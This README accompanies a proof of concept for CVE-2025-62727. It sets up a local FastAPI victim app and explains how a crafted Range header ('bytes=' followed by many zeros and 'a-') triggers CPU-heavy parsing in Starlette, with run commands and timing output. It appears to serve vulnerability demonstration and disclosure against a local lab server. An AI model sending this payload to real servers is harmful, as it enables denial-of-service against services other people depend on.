Proof of concept of CVE-2025-62727 that can cause denial-of-service in FastAPI (based Starlette <= 0.48.0)# CVE-2025-62727 Demo
## Victim Description
The target victim of CVE-2025-62727 is a simple FastAPI app that:
- Serves `Hello World` at `/`.
- Serves static files under `/static` using Starlette's `StaticFiles`.
- Auto-generates text files containing `A` repeated N times for N in `1024, 2048, 50176` on startup.
## How to run victim
1. (Optional) Create and activate a virtualenv.
2. Install dependencies:
```bash
pip install -r requirements.txt
```
3. Start the server:
```bash
uvicorn main:app --reload
```
4. Open:
- `http://127.0.0.1:8000/` for the index page.
- `http://127.0.0.1:8000/static/1024.txt` etc. for static files.
## Notes
- Static files are generated under the `static/` directory on app startup. Existing files are not overwritten.
- Static serving uses Starlette's `StaticFiles` as requested.
## PoC: CVE-2025-62727 (Range header parsing)
The included `poc.py` triggers CPU-heavy Range parsing in Starlette's `FileResponse` via the `/static` route using a crafted header of the form `bytes=000...000a-`.
Run the server, then in another shell:
```bash
python3 poc.py --sizes 1000,2000,4000,7000
```
Override the target URL (optional):
```bash
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
```
Notes:
- The PoC targets `http://127.0.0.1:8000/static/50176.txt` by default (a file the app generates). Use `--url` to change it.
- Adjust `--sizes` downward if you see 400/431 (header too large), or upward if headers succeed and you want a stronger effect.
Result Exmaple:
```bash
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms
```登录后查看神龙缓存的 POC 文件快照
登录查看